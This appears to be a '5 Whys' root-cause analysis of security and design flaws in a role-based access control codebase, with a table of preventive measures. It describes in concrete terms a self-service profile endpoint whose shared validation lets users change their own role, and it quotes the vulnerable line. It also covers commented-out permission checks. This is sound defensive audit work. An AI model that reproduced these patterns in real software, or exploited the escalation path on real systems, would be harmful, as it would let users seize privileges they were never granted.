Tracing 70 issues back to their systemic root causes through repeated "why" questioning.


Chain 1: Why Do Two Incompatible Permission Systems Exist?

PROBLEM: Two hasPermission implementations produce different results

WHY 1: Why do two implementations exist?
  → Middleware was built first (route-level gating, auto-derives permission from URL)
  → Helper was built later (in-service conditional checks like "if user can assign roles")
  → Different problems → different solutions → both kept

WHY 2: Why wasn't the middleware replaced when the helper was built?
  → Middleware was already wired into GET /payments
  → Developer who built helper didn't own payment module
  → "Don't touch what works" — left both in place

WHY 3: Why do they use different permission formats?
  → Middleware auto-derives from URL: GET /api/v1/users → "/users" (route format)
  → Helper matches DB: seed data stores "user.create" (dot notation)
  → Neither developer knew the other format existed

WHY 4: Why wasn't the format mismatch caught?
  → Only super_admin was ever tested
  → super_admin bypasses ALL permission checks in BOTH implementations
  → The mismatch is invisible when bypassed

WHY 5: Why was only super_admin tested?
  → ZERO automated tests exist (no test framework in either package.json)
  → Manual testing always uses the seeded super_admin account
  → Creating a non-super_admin test user requires 10+ manual steps

ROOT CAUSE: No automated tests + super_admin bypass = RBAC never tested with real users


Chain 2: Why Is createRole Permission Check Commented Out?

PROBLEM: checkPermissionAndThrow("role.create") commented out at role.service.ts:150

WHY 1: Why was it commented out?
  → Permission check requires AsyncLocalStorage context (set by contextMiddleware)
  → Without context, getCurrentUser() throws ContextNotFoundError → 500 error

WHY 2: Why would createRole be called without context?
  → Seed script calls RoleService.upsertRole("super_admin") via CLI
  → CLI has no Express request, no middleware, no AsyncLocalStorage context

WHY 3: Why does the seed call the service instead of the repository?
  → Developer wanted to reuse business logic (duplicate name check, soft-delete restore)
  → Importing the service felt cleaner than copy-pasting the logic

WHY 4: Why not create a separate internal method without permission checks?
  → No architectural pattern for internal vs external service calls exists
  → Every service method mixes business logic + permission checks in one function

WHY 5: Why no separation between internal and external operations?
  → Single developer, incremental feature development
  → In early development there's only one caller (HTTP route) — separation feels premature
  → By the time the seed needed internal access, the pattern was already established

ROOT CAUSE: No separation between internal and external service calls. Seed's need to call services created a security-vs-functionality conflict resolved by disabling security.


Chain 3: Why Can Users Change Their Own Role via Profile Update?

PROBLEM: PATCH /users/profile accepts "role" field, writes to user.roleId

WHY 1: Why does updateProfile accept a role field?
  → Validation schema is: createUserValidation.shape.body.partial()
  → createUserValidation includes role: z.number() (for admin user creation)
  → .partial() makes everything optional, including role
  → Both updateProfile and updateUser share this schema

WHY 2: Why do admin and self-service endpoints share validation?
  → Fields overlap significantly (name, email, phone, address, avatar)
  → Creating a separate schema felt like duplication
  → The role field "slipped through" because .partial() includes everything

WHY 3: Why doesn't the service strip unauthorized fields?
  → updateProfile line 533: user.roleId = payload.role || user.roleId;
  → This line was copy-pasted from updateUser (line 372) — identical code
  → In updateUser it's correct (admin changing another user's role)
  → In updateProfile it's a security hole (user changing own role)

WHY 4: Why wasn't this caught in review?
  → No code reviews — git history shows single contributor
  → No security checklist for "which fields can users modify about themselves"

WHY 5: Why no field-level authorization model?
  → The codebase only has endpoint-level permissions (user.update, role.create)
  → No concept of "these fields are admin-only within this endpoint"
  → Every endpoint treats the payload as fully authorized if the user passes the gate

ROOT CAUSE: Shared validation schemas between admin and self-service endpoints + no field-level access control. Copy-paste between endpoints carried admin-only fields into self-service context.


Chain 4: Why Does contextMiddleware Run Twice?

PROBLEM: contextMiddleware executes twice per request, doubling DB queries

WHY 1: Why is it registered both globally and per-route?
  → app.ts registers it globally (after auth)
  → Individual route files add router.use(auth(), contextMiddleware) again
  → Developer added per-route to "make sure" it runs after auth

WHY 2: Why wasn't the duplicate noticed?
  → The middleware is idempotent — second invocation overwrites first, same result
  → No observable behavior difference
  → Performance impact only visible under load (never tested)

WHY 3: Why doesn't it guard against re-execution?
  → Could check hasRequestContext() and skip if already set
  → This guard was never added because the duplicate was never noticed

WHY 4: Why was no performance testing done?
  → Development happens on localhost with 1 user
  → The ~200ms overhead per duplicate query is invisible with a single user
  → No load testing or APM monitoring in place

ROOT CAUSE: No performance testing + idempotent middleware masks the duplicate. Development environment too forgiving to surface the issue.


Chain 5: Why Does the Normalizer Exist But Do Nothing?

PROBLEM: permissionNormalizer.ts (215 LOC) exists but all calls are commented out

WHY 1: Why was it built?
  → Someone noticed the dot vs route format mismatch
  → Built a comprehensive bidirectional converter

WHY 2: Why was it disabled?
  → Enabling it broke existing permission checks
  → Normalizer converts user.create → /user/create (singular)
  → Middleware expects /users/create (plural)
  → ACTION_MAPPING converts "update" → "edit" but seed uses "update"

WHY 3: Why weren't the edge cases fixed?
  → Fixing singular/plural requires either:
      (a) changing all 87 seed permissions, or
      (b) adding plural-awareness to the normalizer
  → Both are non-trivial and risk breaking existing functionality

WHY 4: Why was it left as dead code instead of deleted?
  → "We might need this later" thinking
  → Deleting feels permanent; commenting out feels reversible
  → No code health practices (dead code detection, coverage requirements)

ROOT CAUSE: Incremental development without architectural refactoring. Half-built solutions left in place rather than completed or removed.


Synthesis: The 5 Systemic Root Causes

# Root Cause Pattern Issues It Explains
RC-1 Zero tests + super_admin bypass The RBAC system was never tested with the users it protects Format mismatch, broken route, silent failures, all permission gaps
RC-2 No internal/external service separation Seed scripts and services share methods, creating security conflicts Commented-out permission checks, unprotected upsert
RC-3 Shared validation between admin and self-service Admin-only fields leak into self-service endpoints Self-role-change escalation (most severe vulnerability)
RC-4 Single developer, no code review Security-sensitive patterns missed without a second pair of eyes Copy-paste bugs, debug logs, dead code accumulation
RC-5 Incremental development without refactoring New solutions built alongside old ones, never replacing them Dual systems, redundant columns, dead infrastructure

What Would Have Prevented Everything

Prevention Cost to Implement Issues Prevented
1 integration test with non-super_admin user 30 minutes Format mismatch, broken RBAC, most permission issues (~15 issues)
Separate validation schemas for admin vs self-service 15 minutes Self-role-change vulnerability — the most severe issue in the codebase
ESLint no-console rule 5 minutes All 5 debug log leaks (Issues #12, #13, #31, #35, and auth DD #60)
CI grep for // await check patterns 5 minutes Commented-out permission checks (Issues #4, #24)
Code review checklist: "does this endpoint check permissions?" 0 cost (process only) Missing permission checks on 4+ endpoints
internal() wrapper pattern for seed-callable methods 1 hour (one-time) Prevents future permission-check-vs-seed conflicts

Total prevention cost: ~2 hours. Would have prevented the majority of the 70 issues found in this deep-dive.


Generated by BMAD Document Project workflow v1.2.0 — 5 Whys Root Cause Analysis, 2026-02-25 Cross-reference: Deep-Dive: User Management & RBAC — Section 20